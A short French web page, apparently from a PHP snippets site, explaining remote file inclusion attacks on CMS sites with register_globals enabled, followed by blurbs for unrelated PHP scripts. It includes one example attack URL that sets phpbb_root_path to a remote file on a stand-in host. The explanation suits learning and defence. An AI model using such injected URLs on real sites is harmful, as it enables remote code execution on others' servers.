Les sites à base de CMS et de composant disponibles gratuitement sur internet sont sensibles aux attaques et aux vulnérabilités par inclusion de fichier distant (RFI).
En effet leur code est connu de tous et analysé par les hackers pour détecter des failles.
Celle-ci touche comme souvent les script contenant des chemin d'includes préfixés par une variable. En effet si le site à le paramètre register_globals à on, un paramètre GET peut alimenter facilement cette variable.
Dans cet exemple avec un forum phpbb les urls sont de la forme : http://www.example.com/?phpbb_root_path=http://sitepourri.com/page.txt???
|
Affiche la liste des connectés sur le site en stockant l'ip du visiteur, son pseudo et sa date de dernière visite dans une table. Script complet.
Afficher sur votre site internet une citation différente chaque jour de l'année. Mettre 1 seule citation par ligne.
Retourne du JS qui permet de placer des adresses email en clair sur une site sans que celle ci soit visible dans le code.
2 fonctions permettant de sécurité les variables contre les injections SQL et XSS avant export SQL.
Il arrive que l'on doive faire une redirection définitive d'un ancien site vers un nouveau. Il faut alors mettre en place une redirection 301 sur chaque page.
